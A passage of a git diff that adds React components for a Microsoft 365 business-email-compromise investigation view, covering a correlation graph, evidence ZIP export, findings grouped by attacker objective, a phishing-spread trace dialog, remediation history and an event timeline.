nodeList.push({ + id: hubId, + kind: 'hub', + x: HUB_X, + y: hubCentre - HUB_H / 2, + w: HUB_W, + h: HUB_H, + colour: hubColour, + cluster, + }) + edgeList.push({ + id: `e-account-${hubId}`, + d: edgePath( + ACCOUNT_X + ACCOUNT_W, + 0, // account centre filled in after totalHeight is known + HUB_X, + hubCentre + ), + y1Ref: 'account', + toY: hubCentre, + stroke: cluster.foreign ? theme.palette.error.main : neutralStroke, + width: cluster.foreign ? 2 : 1, + }) + + cluster.events.forEach((event) => { + const centre = eventCentre.get(event.id) + const colour = BEC_OBJECTIVE_COLOR[event.objective] || '#718096' + nodeList.push({ + id: event.id, + kind: 'event', + x: EVENT_X, + y: centre - EVENT_H / 2, + w: EVENT_W, + h: EVENT_H, + colour, + isStart: event.id === startId, + event, + }) + edgeList.push({ + id: `e-${hubId}-${event.id}`, + d: edgePath(HUB_X + HUB_W, hubCentre, EVENT_X, centre), + stroke: alpha(colour, 0.65), + width: 1, + }) + }) + cursorY += count * ROW + CLUSTER_GAP + }) + + const contentHeight = cursorY - CLUSTER_GAP + PAD + const accountCentre = Math.max(contentHeight / 2, ACCOUNT_H / 2 + PAD) + nodeList.push({ + id: 'account', + kind: 'account', + x: ACCOUNT_X, + y: accountCentre - ACCOUNT_H / 2, + w: ACCOUNT_W, + h: ACCOUNT_H, + name: accountName, + }) + // Now the account centre is known, anchor the account→hub edges' start point to it. + edgeList.forEach((edge) => { + if (edge.y1Ref === 'account') { + edge.d = edgePath(ACCOUNT_X + ACCOUNT_W, accountCentre, HUB_X, edge.toY) + } + }) + + // Affected accounts: centre each on the mean of the events that reached it, then push apart any + // that would overlap. Edges run from each event to the account it touched. + let hasTargets = false + let lastTargetY = -Infinity + const targetCentre = new Map() + const sortedTargets = graph.targets + .map((target) => { + const centres = target.events + .map((event) => eventCentre.get(event.id)) + .filter((value) => typeof value === 'number') + const mean = centres.length + ? centres.reduce((sum, value) => sum + value, 0) / centres.length + : accountCentre + return { ...target, mean } + }) + .sort((a, b) => a.mean - b.mean) + + sortedTargets.forEach((target, index) => { + hasTargets = true + const y = Math.max(target.mean, lastTargetY + TARGET_H + 16) + lastTargetY = y + targetCentre.set(target.account, y) + nodeList.push({ + id: `target-${index}`, + kind: 'target', + x: TARGET_X, + y: y - TARGET_H / 2, + w: TARGET_W, + h: TARGET_H, + target, + }) + }) + + // Event → affected-account edges, drawn once the target centres are settled. + nodeList + .filter((node) => node.kind === 'event' && node.event.affects) + .forEach((node) => { + const y2 = targetCentre.get(node.event.affects) + if (typeof y2 !== 'number') return + edgeList.push({ + id: `e-${node.id}-target`, + d: edgePath( + EVENT_X + EVENT_W, + eventCentre.get(node.event.id), + TARGET_X, + y2 + ), + stroke: targetStroke, + width: 1, + dashed: true, + }) + }) + + const width = hasTargets + ? TARGET_X + TARGET_W + PAD + : EVENT_X + EVENT_W + PAD + const height = Math.max(contentHeight, lastTargetY + TARGET_H / 2 + PAD) + return { nodes: nodeList, edges: edgeList, width, height, hasData: true } + }, [becData, windowDays, userData, theme]) + + if (!hasData) { + return ( + + No timestamped events in the analysis window. + + ) + } + + return ( + + + + The account fans out to each source it acted from, each source to what + was done from it, and those actions out to the other accounts they + reached. Red = foreign source; ringed = likely start of compromise. + + {Object.entries(BEC_OBJECTIVE_LABEL).map(([key, label]) => ( + + ))} + + + + + {edges.map((edge) => ( + + ))} + + + {nodes.map((node) => { + if (node.kind === 'account') { + return ( + + + + {node.name} + + + compromised account + + + + ) + } + + if (node.kind === 'hub') { + const { cluster, colour } = node + const title = cluster.ip + ? `${cluster.ip}${cluster.location ? ` · ${cluster.location}` : ''}${cluster.foreign ? ' · foreign source' : ''}` + : 'Events with no recorded source IP' + return ( + + + + {cluster.ip + ? `${cluster.foreign ? '🌐 ' : ''}${cluster.ip}` + : 'No source IP'} + + {cluster.location && ( + + {cluster.location} + + )} + + {cluster.events.length} event + {cluster.events.length === 1 ? '' : 's'} + + + + ) + } + + if (node.kind === 'target') { + const { target } = node + return ( + + + + 👥 {target.account} + + + {target.events.length} action + {target.events.length === 1 ? '' : 's'} against + + + + ) + } + + // event + const { event, colour, isStart } = node + const tip = [ + event.label, + fmt(event.ts), + event.graphDetail, + event.affects ? `→ ${event.affects}` : null, + ] + .filter(Boolean) + .join(' · ') + return ( + + + + + {fmt(event.ts)} + + {isStart && ( + + )} + + + {event.label} + + {event.graphDetail && ( + + {event.graphDetail} + + )} + + + ) + })} + + + + ) +} + +export default CippBecCorrelationGraph diff --git a/frontend/src/components/CippComponents/CippBecEvidenceDownload.jsx b/frontend/src/components/CippComponents/CippBecEvidenceDownload.jsx new file mode 100644 index 0000000000..3d2a626349 --- /dev/null +++ b/frontend/src/components/CippComponents/CippBecEvidenceDownload.jsx @@ -0,0 +1,180 @@ +import { useState } from 'react' +import { Button, CircularProgress, IconButton, Tooltip } from '@mui/material' +import { CippIcons } from '../../utils/icon-registry' +import { ApiPostCall } from '../../api/ApiCall' +import { useBrandingSettings } from '../CippPdf/useBrandingSettings' +import { useReportVariables } from '../CippPdf/useReportVariables' +import { BECRemediationReportDocument } from '../BECRemediationReportButton' + +const blobToBase64 = (blob) => + new Promise((resolve, reject) => { + const reader = new FileReader() + reader.onloadend = () => resolve(String(reader.result).split(',')[1] || '') + reader.onerror = reject + reader.readAsDataURL(blob) + }) + +const base64ToBlob = (base64, type) => { + const binary = atob(base64) + const bytes = new Uint8Array(binary.length) + for (let i = 0; i < binary.length; i += 1) bytes[i] = binary.charCodeAt(i) + return new Blob([bytes], { type }) +} + +const safe = (value) => + String(value || 'case') + .replace(/[^a-zA-Z0-9._-]+/g, '_') + .replace(/^_+|_+$/g, '') + .slice(0, 80) + +const caseOf = (row) => row?.CaseId ?? row?.caseId +const tenantOf = (row) => row?.Tenant ?? row?.tenantFilter +const upnOf = (row) => row?.UserPrincipalName ?? row?.userPrincipalName + +/** + * Downloads a case's evidence package WITH the report PDFs, without opening the case: it fetches the + * case results, renders the full report and the C-suite summary in-memory (no browser tab), posts them + * to the export endpoint, and saves the ZIP under a name carrying the user and case. + * + * Returned as a hook so one owner (the runs hub) drives it for every row and can show one status, + * while the button below is the self-contained form for a single place. + */ +export const useBecEvidenceDownload = () => { + const brandingSettings = useBrandingSettings() + const variables = useReportVariables() + const [pendingCaseId, setPendingCaseId] = useState(null) + const exportCall = ApiPostCall({}) + + const download = async (row, providedBecData) => { + const caseId = caseOf(row) + const tenantFilter = tenantOf(row) + if (!caseId || !tenantFilter || pendingCaseId) return + setPendingCaseId(caseId) + try { + let becData = providedBecData + if (!becData) { + const response = await fetch( + `/api/execBECCheck?GUID=${encodeURIComponent(caseId)}&tenantFilter=${encodeURIComponent(tenantFilter)}` + ) + if (!response.ok) throw new Error(`Could not load case ${caseId}`) + becData = await response.json() + } + if (becData?.Waiting || becData?.Error) { + throw new Error('The case is not a completed run') + } + const userData = { + id: row?.UserId ?? row?.userId, + userPrincipalName: upnOf(row), + displayName: row?.DisplayName ?? row?.displayName ?? upnOf(row), + } + + let pdfBase64 = '' + let pdfSummaryBase64 = '' + try { + const { pdf } = await import('@react-pdf/renderer') + const render = async (reportVariant) => { + const blob = await pdf( + + ).toBlob() + return blobToBase64(blob) + } + pdfBase64 = await render('full') + pdfSummaryBase64 = await render('summary') + } catch (renderError) { + console.error( + 'BEC evidence: PDF render failed, exporting without it', + renderError + ) + } + + await new Promise((resolve) => { + exportCall.mutate( + { + url: '/api/ExecBECEvidenceExport', + data: { tenantFilter, caseId, pdfBase64, pdfSummaryBase64 }, + }, + { + onSuccess: (result) => { + const zip = result?.data?.Evidence?.ZipBase64 + if (zip) { + const blob = base64ToBlob(zip, 'application/zip') + const url = URL.createObjectURL(blob) + const link = document.createElement('a') + link.href = url + link.download = `BEC_Evidence_${safe(upnOf(row) || userData.id)}_${safe(caseId)}.zip` + document.body.appendChild(link) + link.click() + document.body.removeChild(link) + URL.revokeObjectURL(url) + } + resolve() + }, + onError: () => resolve(), + } + ) + }) + } catch (error) { + console.error('BEC evidence download failed', error) + } finally { + setPendingCaseId(null) + } + } + + return { download, pendingCaseId, exportCall } +} + +/** + * Self-contained download control for a single case (its own hook instance). `variant='icon'` for a + * compact per-row button, otherwise a labelled button. + */ +export const CippBecEvidenceDownloadButton = ({ + row, + becData, + variant = 'button', + label = 'Download evidence (ZIP)', +}) => { + const { download, pendingCaseId } = useBecEvidenceDownload() + const busy = pendingCaseId != null + const disabled = busy || !caseOf(row) + + if (variant === 'icon') { + return ( + + + download(row, becData)} + disabled={disabled} + > + {busy ? ( + + ) : ( + + )} + + + + ) + } + + return ( + + ) +} + +export default CippBecEvidenceDownloadButton diff --git a/frontend/src/components/CippComponents/CippBecEvidenceExportButton.jsx b/frontend/src/components/CippComponents/CippBecEvidenceExportButton.jsx new file mode 100644 index 0000000000..1408e8c7f2 --- /dev/null +++ b/frontend/src/components/CippComponents/CippBecEvidenceExportButton.jsx @@ -0,0 +1,134 @@ +import { useState } from 'react' +import { Button, Tooltip } from '@mui/material' +import { CippIcons } from '../../utils/icon-registry' +import { ApiPostCall } from '../../api/ApiCall' +import { BECRemediationReportDocument } from '../BECRemediationReportButton' +import { useBrandingSettings } from '../CippPdf/useBrandingSettings' +import { useReportVariables } from '../CippPdf/useReportVariables' + +const blobToBase64 = (blob) => + new Promise((resolve, reject) => { + const reader = new FileReader() + reader.onloadend = () => resolve(String(reader.result).split(',')[1] || '') + reader.onerror = reject + reader.readAsDataURL(blob) + }) + +const base64ToBlob = (base64, type) => { + const binary = atob(base64) + const bytes = new Uint8Array(binary.length) + for (let i = 0; i < binary.length; i += 1) bytes[i] = binary.charCodeAt(i) + return new Blob([bytes], { type }) +} + +/** + * Export evidence: renders the full report and the C-suite summary in the browser, posts them to the + * backend which collates the package into a ZIP with a SHA-256 manifest, and downloads it. There is no + * results panel — the ZIP's SHA-256 (for verifying a copy later) and any error show in the button's + * hover tooltip, so the control stays a single button in the action row. + */ +export const CippBecEvidenceExportButton = ({ + tenantFilter, + caseId, + userData, + becData, + tenantName, +}) => { + const brandingSettings = useBrandingSettings() + const variables = useReportVariables() + const [busy, setBusy] = useState(false) + const [lastHash, setLastHash] = useState(becData?.Run?.EvidenceSha256 || null) + const [lastError, setLastError] = useState(null) + const exportCall = ApiPostCall({}) + + const triggerDownload = (blob) => { + const url = URL.createObjectURL(blob) + const link = document.createElement('a') + link.href = url + link.download = `BEC_Evidence_${caseId}.zip` + document.body.appendChild(link) + link.click() + document.body.removeChild(link) + URL.revokeObjectURL(url) + } + + const handleExport = async () => { + if (!caseId) return + setBusy(true) + setLastError(null) + let pdfBase64 = '' + let pdfSummaryBase64 = '' + try { + const { pdf } = await import('@react-pdf/renderer') + const render = async (reportVariant) => { + const blob = await pdf( + + ).toBlob() + return blobToBase64(blob) + } + pdfBase64 = await render('full') + pdfSummaryBase64 = await render('summary') + } catch (error) { + console.error( + 'BEC evidence: PDF render failed, exporting without it', + error + ) + } + exportCall.mutate( + { + url: '/api/ExecBECEvidenceExport', + data: { tenantFilter, caseId, pdfBase64, pdfSummaryBase64 }, + }, + { + onSuccess: (response) => { + const evidence = response?.data?.Evidence + if (evidence?.ZipBase64) { + triggerDownload(base64ToBlob(evidence.ZipBase64, 'application/zip')) + } + setLastHash(evidence?.ZipSha256 || null) + setBusy(false) + }, + onError: (error) => { + setLastError( + error?.response?.data?.Results || 'the export failed; see the logbook' + ) + setBusy(false) + }, + } + ) + } + + const tooltip = busy + ? 'Building evidence package…' + : lastError + ? `Last export failed: ${lastError}` + : lastHash + ? `Packages the case evidence (with both report PDFs) as a ZIP. Last export SHA-256: ${lastHash}` + : 'Renders both report PDFs and packages the case evidence as a ZIP' + + return ( + + + + + + ) +} + +export default CippBecEvidenceExportButton diff --git a/frontend/src/components/CippComponents/CippBecObjectiveGroups.jsx b/frontend/src/components/CippComponents/CippBecObjectiveGroups.jsx new file mode 100644 index 0000000000..f0f9142238 --- /dev/null +++ b/frontend/src/components/CippComponents/CippBecObjectiveGroups.jsx @@ -0,0 +1,728 @@ +import { useMemo, useState } from 'react' +import { Box, Stack } from '@mui/system' +import { Alert, Button, Chip, Typography } from '@mui/material' +import CippButtonCard from '../CippCards/CippButtonCard' +import { CippDataTable } from '../CippTable/CippDataTable' +import { PropertyList } from '../property-list' +import { PropertyListItem } from '../property-list-item' +import { getIconByName } from '../../utils/icon-registry' +import { getBecIntuneDeviceActions } from './CippIntuneDeviceActions.jsx' +import { CippBecPhishingSpreadDialog } from './CippBecPhishingSpreadDialog' +import { CippApiDialog } from './CippApiDialog' +import { useDialog } from '../../hooks/use-dialog' +import { + BEC_GROUPS, + becGroupFlagged, + becFindingFlags, + becCoverage, + BEC_FINDING_MARKERS, +} from '../../utils/bec-objectives' + +const joinList = (value) => + Array.isArray(value) ? value.join(', ') : (value ?? '') +const arr = (value) => (Array.isArray(value) ? value : []) + +// Generic findings whose rows carry nested objects the table can't render flat. +const FLATTEN = { + UserGrants: (g) => ({ + ...g, + HighRiskScopes: joinList(g.HighRiskScopes), + CatalogMatch: g.CatalogMatch?.Name + ? `${g.CatalogMatch.Name} (${g.CatalogMatch.Source})` + : '', + }), +} + +// The evidence half of the case workspace: every finding, grouped by attacker objective, flagged +// first. A check that could not run (missing licence/permission) is shown as "not checked", never as +// a clean pass. A group with flagged findings opens by default; the triage spine can open and scroll +// to any group. Tables are metadata only, exactly what the collectors returned. +export const CippBecObjectiveGroups = ({ + becData, + windowDays, + tenantFilter, + userData, + openGroups, + onToggleGroup, + groupRefs, +}) => { + const [spreadOpen, setSpreadOpen] = useState(false) + const [spread, setSpread] = useState({ sender: '', subject: '' }) + const dismissRiskDialog = useDialog() + const intuneDeviceActions = useMemo( + () => getBecIntuneDeviceActions({ tenantFilter }), + [tenantFilter] + ) + + const analysisWindowStart = useMemo(() => { + const parsed = becData?.ExtractedAt + ? new Date(becData.ExtractedAt) + : new Date() + const extractedAt = Number.isNaN(parsed.getTime()) ? new Date() : parsed + return new Date(extractedAt.getTime() - windowDays * 24 * 60 * 60 * 1000) + }, [becData, windowDays]) + + // Blocking a sender/domain now lives in the containment drawer (tenant-wide, catalog-driven), not + // as a per-row action. The one row action left scopes the phishing wave: it pre-fills the spread + // search with this message's sender and subject and runs it, so "who else got this" is one click. + const receivedMailActions = useMemo( + () => [ + { + label: 'Who else got this email?', + noConfirm: true, + customFunction: (row) => { + setSpread({ + sender: row.SenderAddress || '', + subject: row.Subject || '', + }) + setSpreadOpen(true) + }, + }, + ], + [] + ) + + const counts = useMemo( + () => becGroupFlagged(becData, windowDays), + [becData, windowDays] + ) + const flags = useMemo( + () => becFindingFlags(becData, windowDays), + [becData, windowDays] + ) + + if (!becData) return null + + const completeness = becData.Completeness || {} + const table = (data, columns, actions) => { + if (!data || data.length === 0) return null + // "More Info" per row: the offcanvas renders every field of the record as a full-value property + // list, so the detail — a rule's whole description, a sign-in's device/app/IP — is one click away + // instead of a resized column. A row click opens it too. Fields are the union of keys across the rows. + const extendedInfoFields = [ + ...new Set(data.flatMap((row) => Object.keys(row || {}))), + ] + return ( + + + + ) + } + + const subHeader = (title) => ( + + {title} + + ) + + // Content-only renderers for findings whose shape is not one flat table. Header and coverage note + // are owned by renderFinding, so these render nothing when the check was skipped or failed. + const custom = { + mfa: () => { + const rows = arr(becData.MFADevices).map((m) => ({ + Method: String(m['@odata.type'] || '').replace('#microsoft.graph.', ''), + displayName: m.displayName, + createdDateTime: m.createdDateTime, + Recent: m.createdDateTime + ? new Date(m.createdDateTime) >= analysisWindowStart + : false, + })) + return rows.length === 0 ? ( + + No MFA methods are registered. If MFA was expected, an attacker may + have removed it. + + ) : ( + table(rows, ['Method', 'displayName', 'createdDateTime', 'Recent']) + ) + }, + risk: () => { + const rs = becData.RiskState + const detections = arr(rs?.Detections) + return ( + <> + + {rs?.Listed + ? `Listed as ${rs.RiskState} at ${rs.RiskLevel} risk (${rs.RiskDetail || 'no detail'}).` + : 'Not listed as risky.'} + + {table(detections, [ + 'DetectedDateTime', + 'RiskEventType', + 'RiskLevel', + 'RiskState', + 'IPAddress', + 'Country', + 'City', + 'Activity', + ])} + {rs?.Listed && userData && ( + + + + + )} + + ) + }, + intune: () => + table( + arr(becData.IntuneDevices), + [ + 'deviceName', + 'operatingSystem', + 'osVersion', + 'complianceState', + 'enrolledDateTime', + 'lastSyncDateTime', + 'deviceEnrollmentType', + 'serialNumber', + ], + intuneDeviceActions + ) ?? ( + + No Intune-managed devices found for this user. + + ), + rules: () => { + const newRules = arr(becData.NewRules).map((r) => ({ + Name: r.Name, + RecentlyChanged: r.RecentlyChanged === true, + RiskReasons: joinList(r.RiskReasons), + Description: r.Description, + // Surfaced in the More Info panel (not as columns) so the rule's behaviour is readable in full. + MoveToFolder: r.MoveToFolder, + DeleteMessage: r.DeleteMessage, + MarkAsRead: r.MarkAsRead, + StopProcessingRules: r.StopProcessingRules, + Enabled: r.Enabled, + Risk: r.Risk, + })) + const changes = arr(becData.InboxRuleChanges) + return ( + <> + {newRules.length === 0 && changes.length === 0 && ( + + No inbox rules or rule changes found. + + )} + {table(newRules, [ + 'Name', + 'RecentlyChanged', + 'RiskReasons', + 'Description', + ])} + {changes.length > 0 && + subHeader(`Rule changes in the last ${windowDays} days`)} + {table(changes, [ + 'Operation', + 'RuleName', + 'Date', + 'UserKey', + 'ClientIP', + 'Country', + 'ForeignLocation', + ])} + + ) + }, + apps: () => { + const added = arr(becData.AddedApps).map((a) => ({ + displayName: a.displayName, + appId: a.appId, + createdDateTime: a.createdDateTime, + MaliciousMatch: a.MaliciousMatch?.Name || '', + })) + const malicious = arr(becData.MaliciousSPs) + return ( + <> + {added.length === 0 && malicious.length === 0 && ( + + No new applications found. + + )} + {/* Malicious apps first - a catalog match is the point of this check, whatever its age. */} + {malicious.length > 0 && ( + + {malicious.length} application(s) in this tenant match the + known-malicious catalog. Consent-based access survives a password + reset — remove any that are not explained. + + )} + {table(malicious, [ + 'displayName', + 'appId', + 'CatalogName', + 'accountEnabled', + 'createdDateTime', + ])} + {added.length > 0 && subHeader('New applications in the window')} + {table(added, [ + 'displayName', + 'appId', + 'createdDateTime', + 'MaliciousMatch', + ])} + + ) + }, + mailboxState: () => { + const ms = becData.MailboxState + if (!ms) return null + const protocols = ['OWA', 'EWS', 'IMAP', 'POP', 'MAPI', 'ActiveSync'] + .filter((p) => ms[`${p}Enabled`] === true) + .join(', ') + return ( + + + + + + + + ) + }, + safelist: () => { + const senders = [ + ...arr(becData.TrustedSenders).map((s) => ({ + Sender: s, + Type: 'Trusted', + })), + ...arr(becData.BlockedSenders).map((s) => ({ + Sender: s, + Type: 'Blocked', + })), + ] + const changes = arr(becData.SafelistChanges) + return ( + <> + {senders.length === 0 && changes.length === 0 && ( + + No trusted or blocked senders found. + + )} + {table(senders, ['Sender', 'Type'])} + {changes.length > 0 && + subHeader(`Changes in the last ${windowDays} days`)} + {table(changes, [ + 'Operation', + 'UserKey', + 'Date', + 'ClientIP', + 'Country', + 'ForeignLocation', + ])} + + ) + }, + transport: () => { + const changes = arr(becData.TransportRuleChanges).map((c) => ({ + ...c, + RiskyParameters: joinList(c.RiskyParameters), + })) + const flagged = arr(becData.TransportRulesFlagged).map((r) => ({ + ...r, + RiskReasons: joinList(r.RiskReasons), + })) + return ( + <> + {changes.length === 0 && flagged.length === 0 && ( + + No transport-rule changes or diverting rules found. + + )} + {table(changes, [ + 'Date', + 'Operation', + 'RuleName', + 'Actor', + 'ClientIP', + 'Country', + 'RiskyParameters', + 'Flagged', + ])} + {flagged.length > 0 && + subHeader('Current rules that divert or suppress mail')} + {table(flagged, [ + 'Name', + 'State', + 'Mode', + 'WhenChanged', + 'ChangedInWindow', + 'RiskReasons', + ])} + + ) + }, + sent: () => { + const analysis = becData.SentMessageAnalysis + const sent = arr(becData.SentMessages) + return ( + <> + {analysis ? ( + + {analysis.TotalMessages ?? sent.length} message(s) to{' '} + {analysis.TotalRecipients ?? sent.length} recipient(s) in the last{' '} + {windowDays} days. + {analysis.FlaggedSubjectCount > 0 + ? ` ${analysis.FlaggedSubjectCount} subject(s) look like a campaign.` + : ''} + {analysis.Bursts?.length > 0 + ? ` ${analysis.Bursts.length} send burst(s).` + : ''} + + ) : ( + sent.length === 0 && ( + + No sent messages found in the window. + + ) + )} + {table(sent, [ + 'Subject', + 'RecipientAddress', + 'Status', + 'Received', + 'FromIP', + 'Country', + ])} + + ) + }, + mailActivity: () => { + const summary = becData.MailActivitySummary + const rows = arr(becData.MailActivity) + return ( + <> + {summary ? ( + + {summary.MailItemsAccessedCount} access(es),{' '} + {summary.HardDeleteCount} hard delete(s),{' '} + {summary.SoftDeleteCount} soft delete(s), {summary.SendCount}{' '} + send(s) from {summary.DistinctClientIPs} client IP(s). Counts only + — no items were read. + {summary.HardDeleteExceeded + ? ` Hard deletes exceed the ${summary.HardDeleteThreshold} threshold.` + : ''} + + ) : ( + + No mailbox-activity counts were recorded. + + )} + {table(rows, [ + 'Operation', + 'Count', + 'ClientIP', + 'Country', + 'ForeignLocation', + 'ClientInfoString', + 'MailAccessType', + 'Actor', + 'FirstSeen', + 'LastSeen', + ])} + + ) + }, + received: () => { + const findings = arr(becData.ReceivedMailFindings) + const defender = arr(becData.DefenderDetections).map((r) => ({ + ...r, + ThreatTypes: joinList(r.ThreatTypes), + })) + return ( + <> + + + + {findings.length === 0 && ( + + No phishing-shaped or look-alike senders found. + + )} + {table( + findings, + [ + 'Received', + 'FindingType', + 'Severity', + 'SenderAddress', + 'Subject', + 'Reason', + 'Status', + ], + receivedMailActions + )} + {defender.length > 0 && + subHeader('Defender for Office 365 detections')} + {table(defender, [ + 'ReceivedDateTime', + 'SenderAddress', + 'Subject', + 'ThreatTypes', + 'DeliveryAction', + 'LatestDeliveryLocation', + 'Delivered', + ])} + + ) + }, + } + + // One coverage note per finding: skipped (missing entitlement) reads as "not checked", a hard + // failure as "couldn't check", a cap as "partial". A skipped/failed check renders no content, so an + // empty section is never mistaken for a clean one. + const coverageOf = (finding) => + becCoverage(completeness, BEC_FINDING_MARKERS[finding.key] || []) + + const renderFinding = (finding) => { + const cov = coverageOf(finding) + const fl = flags[finding.key] + // Only suppress content when every check behind the finding was blocked; a finding with some + // checks still complete (phishing ran, Defender skipped) keeps its content and adds the note. + const blocked = cov.allBlocked + const content = () => { + if (finding.custom) return custom[finding.custom]?.() + const raw = arr(becData[finding.key]) + const rows = FLATTEN[finding.key] ? raw.map(FLATTEN[finding.key]) : raw + return rows.length === 0 ? ( + + Nothing found. + + ) : ( + table(rows, finding.columns) + ) + } + return ( + + + {finding.title} + {fl ? ( + + ) : cov.allBlocked ? ( + + ) : cov.state !== 'ok' ? ( + + ) : ( + + )} + + {fl && ( + + Flagged: {fl.reason}. + + )} + {finding.note && ( + + {finding.note} + + )} + {cov.state === 'skipped' && + (cov.allBlocked ? ( + + Not checked —{' '} + {cov.requirement || + 'a licence, permission, mailbox or service that is not present'} + . This is not a pass; the result is unknown. + + ) : ( + + Some checks here could not run ( + {cov.requirement || 'missing a licence, permission or service'}); + the rest is shown below. + + ))} + {cov.state === 'failed' && ( + + Couldn't check: {cov.error} + + )} + {cov.state === 'partial' && ( + + Partial results — {cov.cap}. + + )} + {!blocked && content()} + + ) + } + + const la = becData.LocationAnalysis + + return ( + + {BEC_GROUPS.map((group) => { + const flagged = counts[group.id] || 0 + const notChecked = group.findings.filter((f) => { + const s = coverageOf(f).state + return s === 'skipped' || s === 'failed' + }).length + const GroupIcon = getIconByName(group.icon, { fontSize: 'small' }) + return ( + (groupRefs.current[group.id] = el)}> + onToggleGroup(group.id, exp)} + title={ + + + {GroupIcon} + {group.title} + + + {flagged > 0 && ( + + )} + {notChecked > 0 && ( + + )} + {flagged === 0 && notChecked === 0 && ( + + )} + + + } + > + + {group.blurb} + + {group.id === 'access' && la && ( + + + + `${c.Country} (${c.Count})`) + .join(', ') || 'none recorded' + } + /> + + + + )} + {group.findings.map(renderFinding)} + + + ) + })} + + setSpreadOpen(false)} + tenantFilter={tenantFilter} + defaultSender={spread.sender} + defaultSubject={spread.subject} + key={`${spread.sender}|${spread.subject}`} + /> + + ) +} + +export default CippBecObjectiveGroups diff --git a/frontend/src/components/CippComponents/CippBecPhishingSpreadDialog.jsx b/frontend/src/components/CippComponents/CippBecPhishingSpreadDialog.jsx new file mode 100644 index 0000000000..3e1191c879 --- /dev/null +++ b/frontend/src/components/CippComponents/CippBecPhishingSpreadDialog.jsx @@ -0,0 +1,152 @@ +import { useState } from 'react' +import { + Button, + Dialog, + DialogActions, + DialogContent, + DialogTitle, + Grid, + Stack, + TextField, + Typography, + Chip, +} from '@mui/material' +import { ApiGetCall } from '../../api/ApiCall' +import { CippDataTable } from '../CippTable/CippDataTable' + +/** + * "Who else got this?" - groups the recipients of a sender from message-trace metadata so a + * phishing wave can be scoped before anyone is notified or anything is purged. + */ +export const CippBecPhishingSpreadDialog = ({ + open, + onClose, + tenantFilter, + defaultSender = '', + defaultSubject = '', +}) => { + const [sender, setSender] = useState(defaultSender) + const [subject, setSubject] = useState(defaultSubject) + const [days, setDays] = useState(7) + // Opened from a finding row (parent remounts by sender+subject): pre-fill the fields and run the + // trace straight away so "who else got this" needs no extra click. The manual "Trace a sender's + // spread" button opens with an empty sender, so the query stays null until the operator types one. + const [query, setQuery] = useState( + defaultSender + ? { sender: defaultSender, subject: defaultSubject, days: 7 } + : null + ) + + const spreadCall = ApiGetCall({ + url: '/api/ListBECPhishingSpread', + data: { + tenantFilter, + sender: query?.sender, + subject: query?.subject, + days: query?.days, + }, + queryKey: `ListBECPhishingSpread-${tenantFilter}-${query?.sender}-${query?.subject}-${query?.days}`, + waiting: !!query?.sender, + }) + + const result = spreadCall.data + + return ( + + Phishing spread from a sender + + + + Lists every recipient of mail from the sender in the period, from + message-trace metadata only, split into internal and external. Use + it to scope a wave: who to warn, and which mailboxes a Purview + search should cover. + + + + setSender(e.target.value)} + /> + + + setSubject(e.target.value)} + /> + + + setDays(Number(e.target.value) || 7)} + /> + + + + + + {spreadCall.isFetching && ( + Tracing... + )} + {result?.Recipients && ( + <> + + + + + {result.Complete === false && ( + + )} + + + + )} + {result?.Results && typeof result.Results === 'string' && ( + + {result.Results} + + )} + + + + + + + ) +} + +export default CippBecPhishingSpreadDialog diff --git a/frontend/src/components/CippComponents/CippBecRemediationHistory.jsx b/frontend/src/components/CippComponents/CippBecRemediationHistory.jsx new file mode 100644 index 0000000000..031ba80a1c --- /dev/null +++ b/frontend/src/components/CippComponents/CippBecRemediationHistory.jsx @@ -0,0 +1,109 @@ +import { + Box, + Card, + CardContent, + CardHeader, + Chip, + Divider, + Stack, + Table, + TableBody, + TableCell, + TableHead, + TableRow, + Typography, +} from '@mui/material' + +const stateColor = (state) => + ({ + success: 'success', + error: 'error', + warning: 'warning', + info: 'default', + })[state] || 'default' + +// Action ids are stored PascalCase (RemoveMFA); space them for display. +const humanize = (id) => + String(id || '') + .replace(/([a-z0-9])([A-Z])/g, '$1 $2') + .trim() + +const fmt = (value) => { + if (!value) return 'Unknown time' + try { + return new Date(value).toLocaleString() + } catch { + return String(value) + } +} + +// The containment actions run for this case and their per-target results, newest first. Reads the +// history persisted on the run (becData.Run.Containment); renders nothing until something has run. +export const CippBecRemediationHistory = ({ becData }) => { + const history = [...(becData?.Run?.Containment || [])].reverse() + if (history.length === 0) return null + + return ( + + + + + + {history.map((entry, index) => { + const results = Array.isArray(entry.Results) ? entry.Results : [] + return ( + + + {fmt(entry.At)} · {entry.By || 'CIPP'} ·{' '} + {(entry.Actions || []).length} action(s) + + {results.length > 0 ? ( + + + + + Action + Target + Result + State + + + + {results.map((row, rowIndex) => ( + + {humanize(row.Action)} + + {row.Target} + + {row.resultText} + + + + + ))} + +
+
+ ) : ( + + No per-action results were recorded. + + )} +
+ ) + })} +
+
+
+ ) +} + +export default CippBecRemediationHistory diff --git a/frontend/src/components/CippComponents/CippBecTimelineCustom.jsx b/frontend/src/components/CippComponents/CippBecTimelineCustom.jsx new file mode 100644 index 0000000000..e02113adce --- /dev/null +++ b/frontend/src/components/CippComponents/CippBecTimelineCustom.jsx @@ -0,0 +1,138 @@ +import { useMemo } from 'react' +import { + Timeline, + TimelineItem, + TimelineSeparator, + TimelineConnector, + TimelineContent, + TimelineDot, +} from '@mui/lab' +import { Box, Chip, Stack, Typography } from '@mui/material' +import { + buildBecTimeline, + BEC_OBJECTIVE_COLOR, + BEC_OBJECTIVE_LABEL, +} from '../../utils/bec-timeline' + +const fmt = (ts) => + new Date(ts).toLocaleString(undefined, { + month: 'short', + day: 'numeric', + hour: '2-digit', + minute: '2-digit', + }) + +// Evaluation version A: a compact MUI Timeline. The empty opposite-content half is removed so the +// content uses the full width; each event is one dense row (time + label on a line, detail beneath) +// with a dot coloured by attacker objective. The start-of-compromise event is ringed and tagged. +export const CippBecTimelineCustom = ({ becData, windowDays = 7 }) => { + const { events, startOfCompromise } = useMemo( + () => buildBecTimeline(becData, windowDays), + [becData, windowDays] + ) + + if (events.length === 0) { + return ( + + No timestamped events in the analysis window. + + ) + } + + return ( + + + {Object.entries(BEC_OBJECTIVE_LABEL).map(([key, label]) => ( + + ))} + + + {events.map((event, index) => { + const colour = BEC_OBJECTIVE_COLOR[event.objective] || '#718096' + const isStart = startOfCompromise && event.id === startOfCompromise.id + return ( + + + + {index < events.length - 1 && ( + + )} + + + + + {fmt(event.ts)} + + + {event.label} + + {isStart && ( + + )} + + {event.detail && ( + + {event.detail} + + )} + + + ) + })} + + + ) +} + +export default CippBecTimelineCustom diff --git a/frontend/src/components/CippComponents/CippBecTimelineEvaluator.jsx b/frontend/src/components/CippComponents/CippBecTimelineEvaluator.jsx new file mode 100644 index 0000000000..f5528598d5 